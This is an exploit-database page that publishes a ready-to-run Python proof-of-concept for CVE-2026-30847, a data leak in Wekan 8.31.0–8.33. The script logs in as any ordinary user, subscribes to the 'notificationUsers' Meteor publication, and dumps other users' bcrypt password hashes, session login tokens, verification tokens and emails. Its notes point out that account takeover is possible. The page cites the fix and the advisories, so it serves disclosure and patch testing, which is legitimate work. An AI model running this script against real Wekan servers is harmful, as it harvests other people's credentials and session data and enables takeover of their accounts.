Wekan 8.31.0 - 8.33Meteor DDP notificationUsers Sensitive Data Leak

2026.03.15
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-200

#!/usr/bin/env python3 # Exploit Title: Wekan 8.31.0 - 8.33Meteor DDP notificationUsers Sensitive Data Leak # CVE: CVE-2026-30847 # Date: 2026-03-08 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://wekan.github.io # Software Link: https://github.com/wekan/wekan # Affected: Wekan 8.31.0 - 8.33 # Tested on: Wekan 8.32 (Docker) # Category: Webapps # Platform: Linux / Docker # Exploit Type: Remote # CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) # Description: Any authenticated user can subscribe to the Meteor publication "notificationUsers" and receive full user documents including bcrypt password hashes, active session login tokens, email addresses, and other sensitive service data due to missing field projection and authorization checks. # Fixed in: Wekan v8.34 (commit 1c8667eae8b28739e43569b612ffdb2693c6b1ce) # Usage: # python3 exploit.py https://wekan.example.com username password # # Examples: # python3 exploit.py https://wekan.company.com user@company.com P@ssw0rd123 # # Options: # --help Show this help message and exit # # Notes: # • Requires valid credentials of any regular user (admin not required) # • Leaked data includes password hashes and active session tokens → possible account takeover # # How to Use # # Step 1: # Install required package: # pip install meteor-ddp-client # # Step 2: # Run the exploit with target URL and credentials: # python3 exploit.py https://target-wekan.com username password import sys import json import time from meteor_ddp_client import MeteorClient import argparse def on_connected(): print("[+] Connected to DDP server") def on_failure(err): print(f"[-] Connection failed: {err}") sys.exit(1) def main(): parser = argparse.ArgumentParser(description="CVE-2026-30847 PoC - Wekan user data leak") parser.add_argument("url", help="Wekan base URL (e.g. https://wekan.example.com)") parser.add_argument("username", help="Valid username or email") parser.add_argument("password", help="Password") args = parser.parse_args() base_url = args.url.rstrip('/') ddp_url = base_url.replace("http://", "ws://").replace("https://", "wss://") + "/websocket" print(f"[*] Targeting: {base_url}") print(f"[*] DDP endpoint: {ddp_url}") client = MeteorClient(ddp_url) client.on('connected', on_connected) client.on('failed', on_failure) print("[*] Connecting...") client.connect() time.sleep(1.5) print("[*] Logging in...") try: client.login_with_password(args.username, args.password) print("[+] Login successful") except Exception as e: print(f"[-] Login failed: {e}") client.close() sys.exit(1) time.sleep(1) print("[*] Subscribing to notificationUsers...") sub_id = client.subscribe("notificationUsers", []) time.sleep(3) print("\n[+] Collecting leaked user documents...\n") leaked_users = [] if "users" in client.collections: users_coll = client.collections["users"] for uid, doc in users_coll.items(): if uid == client.user_id: continue leaked = { "_id": uid, "username": doc.get("username"), "emails": doc.get("emails", []), "profile": doc.get("profile", {}), } services = doc.get("services", {}) if services: leaked["services"] = {} if "password" in services and "bcrypt" in services["password"]: leaked["services"]["password_hash"] = services["password"]["bcrypt"] if "resume" in services and "loginTokens" in services["resume"]: leaked["services"]["session_tokens"] = [ {"hashedToken": t.get("hashedToken"), "when": t.get("when")} for t in services["resume"]["loginTokens"] ] if "email" in services and "verificationTokens" in services["email"]: leaked["services"]["verification_tokens"] = services["email"]["verificationTokens"] for key in services: if key not in ["password", "resume", "email"]: leaked["services"][key] = services[key] leaked_users.append(leaked) if not leaked_users: print("[-] No other users leaked") else: print(f"[+] Found {len(leaked_users)} leaked user(s):\n") for user in leaked_users: print(json.dumps(user, indent=2, default=str)) print("-" * 60) print("\n[*] Cleaning up...") client.unsubscribe(sub_id) client.logout() client.close() if leaked_users: print("[!] VULNERABLE: Sensitive data was exposed") else: print("[?] No sensitive data captured") if __name__ == "__main__": main()

References:

https://github.com/wekan/wekan/releases/tag/v8.34
https://github.com/wekan/wekan/commit/1c8667eae8b28739e43569b612ffdb2693c6b1ce
https://securitylab.github.com/advisories/GHSL-2026-035_Wekan/
https://nvd.nist.gov/vuln/detail/CVE-2026-30847


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2026, cxsecurity.com

 

Back to Top